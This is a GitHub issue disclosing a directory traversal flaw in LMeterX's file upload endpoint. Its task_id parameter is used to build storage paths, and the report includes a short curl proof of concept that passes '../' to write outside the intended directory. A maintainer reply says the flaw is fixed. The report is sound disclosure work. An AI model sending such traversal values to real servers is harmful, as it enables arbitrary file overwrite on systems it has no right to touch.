LMeterX icon indicating copy to clipboard operation
LMeterX copied to clipboard

Directory Traversal via `task_id` Leading to Arbitrary File Overwrite

Open ac0d3r opened this issue 1 year ago • 1 comments

Vulnerability Details

  • Affected Endpoint POST /api/upload
    • https://github.com/MigoXLab/LMeterX/blob/main/backend/service/upload_service.py#L100
    • https://github.com/MigoXLab/LMeterX/blob/main/backend/service/upload_service.py#L160

A directory traversal vulnerability exists in the file upload functionality, where the task_id parameter is used to determine the storage path. By supplying crafted values such as ../, an attacker can escape the intended upload_files directory and write files to arbitrary locations on the server.

PoC

curl -X POST "http://localhost:5001/api/upload?task_id=../zznq" \
  -F "file=@./pocs/zznq.crt" 
Image

ac0d3r avatar Jul 23 '25 08:07 ac0d3r

Thank you for submitting the issue. The issue has been resolved.

LuckyYC avatar Jul 30 '25 13:07 LuckyYC